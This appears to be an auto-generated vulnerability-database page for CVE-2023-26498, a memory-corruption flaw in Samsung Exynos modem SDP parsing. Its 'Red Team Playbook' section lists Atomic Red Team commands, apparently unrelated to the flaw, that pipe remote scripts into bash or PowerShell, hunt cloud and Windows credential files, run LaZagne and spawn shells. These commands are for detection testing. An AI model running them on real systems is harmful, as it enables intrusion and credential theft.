CVE-2023-26498
Overview
This vulnerability is a memory corruption issue caused by improper validation of property counts during parsing of the chatroom attribute within the Session Description Protocol (SDP) module. The flaw arises from insufficient boundary checks on the number of properties processed, leading to potential buffer overflows in the Samsung Baseband Modem Chipset firmware for specific Exynos modem variants. The affected component is the SDP parsing logic embedded in the firmware of Exynos Modem 5123, 5300, 980, 1080, and Auto T5126 chipsets.
Vulnerability Description
An issue was discovered in Samsung Baseband Modem Chipset for Exynos Modem 5123, Exynos Modem 5300, Exynos 980, Exynos 1080, Exynos Auto T5126. Memory corruption can occur due to improper checking of the number of properties while parsing the chatroom attribute in the SDP (Session Description Protocol) module.
Impact
An unauthenticated attacker with network access to the modem's SDP interface can exploit this vulnerability to induce memory corruption, potentially leading to denial of service or limited code execution capabilities within the modem's processing environment. The attack requires no user interaction and no privileges (AV:N/AC:L/PR:N/UI:N), increasing the risk of remote exploitation. Successful exploitation may disrupt modem functionality, impacting device communication capabilities and stability, with possible lateral effects on connected systems relying on the modem.
Solution
Samsung provides firmware updates addressing this vulnerability for affected Exynos modem chipsets. Users should apply the latest security patches available through Samsung's semiconductor product security updates portal (https://semiconductor.samsung.com/support/quality-support/product-security-updates/). Specific firmware versions and advisory identifiers are detailed in the vendor's security bulletins. Following the vendor's official update instructions ensures remediation of the improper property count validation in the SDP module.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Samsung Baseband Modem Chipset, specifically affecting the Exynos Modem 5123, 5300, 980, 1080, and Auto T5126, arises from improper handling of memory during the parsing of chatroom attributes within the Session Description Protocol (SDP) module. This flaw is characterized by memory corruption, which can lead to unpredictable behavior in the affected devices. The underlying issue stems from inadequate validation of the number of properties being processed, allowing for potential overflow or underflow scenarios. Such memory corruption can result in the execution of arbitrary code, system crashes, or other forms of denial of service, thereby compromising the integrity and availability of the device.
Exploitation of this vulnerability could occur through various attack vectors, primarily targeting the communication capabilities of the affected devices. An attacker could craft malicious SDP messages that exploit the improper property checks, leading to memory corruption when these messages are processed by the modem. This could be executed in scenarios such as man-in-the-middle attacks during VoIP calls or through malicious applications that leverage the modem's capabilities. Additionally, if the attacker has physical access to the device, they could exploit the vulnerability directly, making it a significant risk for devices used in sensitive environments.
The real-world impact of this vulnerability is substantial, particularly given its high CVSS score of 9.8, indicating critical severity. Devices utilizing the affected modem chipsets are prevalent in various consumer electronics, including smartphones and IoT devices. The potential for remote code execution poses a severe business risk, as it could lead to unauthorized access to sensitive user data, loss of device functionality, and damage to brand reputation. Furthermore, the exploitation of such vulnerabilities can facilitate broader attacks, including the deployment of malware or the creation of botnets, which could have cascading effects on network security and user privacy.
To detect and mitigate the risks associated with this vulnerability, organizations and users should implement several strategies. Regular firmware updates from Samsung should be prioritized, as these updates typically include patches for known vulnerabilities. Additionally, employing network security measures such as intrusion detection systems can help identify and block malicious traffic attempting to exploit the vulnerability. Users should also be educated on the risks of connecting to untrusted networks and the importance of downloading applications only from reputable sources. Finally, device manufacturers should consider implementing stricter validation checks and memory management practices in their firmware to prevent similar vulnerabilities from emerging in the future.
In conclusion, the vulnerability present in the Samsung Baseband Modem Chipset highlights the critical importance of robust security practices in the development of communication technologies. The potential for exploitation through memory corruption poses significant risks to both individual users and organizations. Therefore, proactive measures in detection, mitigation, and education are essential to safeguard against the threats posed by such vulnerabilities. As the landscape of cybersecurity continues to evolve, ongoing vigilance and adaptation will be necessary to protect against emerging threats.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Exynos Modem 5300 Firmware | N/A |
cpe:2.3:o:samsung:exynos_modem_5300_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos Modem 5123 Firmware | N/A |
cpe:2.3:o:samsung:exynos_modem_5123_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos 980 Firmware | N/A |
cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos 1080 Firmware | N/A |
cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:*
|
|
|
Samsung | Exynos Auto T5123 Firmware | N/A |
cpe:2.3:o:samsung:exynos_auto_t5123_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-26498 |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/processor/modem/ |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/processor/mobile-processor/ |
| semiconductor.samsung.com |
GitHub CVE
|
https://semiconductor.samsung.com/support/quality-support/product-security-updates/ |